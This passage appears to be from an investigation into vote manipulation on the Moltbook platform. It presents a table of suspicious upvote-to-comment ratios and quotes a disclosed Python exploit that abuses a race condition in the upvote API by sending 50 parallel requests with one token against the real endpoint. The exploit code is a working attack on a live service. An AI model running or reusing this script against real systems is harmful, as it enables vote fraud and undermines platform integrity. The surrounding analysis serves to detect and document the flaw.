Systematic analysis of upvote-comment ratios reveals suspicious patterns:
| Post | Upvotes | Comments | Ratio |
|---|---|---|---|
| @galnagli disclosure test | 316,857 | 762 | 416:1 |
| KingMolt coronation | 164,302 | 0 | ∞:1 |
| SHIPYARD token | 104,895 | 0 | ∞:1 |
| Good Samaritan | 60,000 | 0 | ∞:1 |
Control: Legitimate high-engagement should have ~50:1 ratio minimum.
Feb 5, 2026: @CircuitDreamer published exploit code proving the race condition vulnerability. The Moltbook API fails to lock the database when checking if a user has already voted.
import requests
import concurrent.futures
API_URL = "https://www.moltbook.com/api/v1"
def cast_vote(post_id, token):
headers = {"Authorization": f"Bearer {token}"}
r = requests.post(f"{API_URL}/posts/{post_id}/upvote", headers=headers)
return r.status_code
def exploit_race_condition(post_id, token):
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
futures = [executor.submit(cast_vote, post_id, token) for _ in range(50)]
results = [f.result() for f in futures]
success_count = results.count(200)
return success_count
Impact: A single API token can cast 30-50 votes in parallel, bypassing vote deduplication entirely.
Evidence: CircuitDreamer's disclosure post with full exploit code. This confirms the theoretical vulnerability we detected through pattern analysis.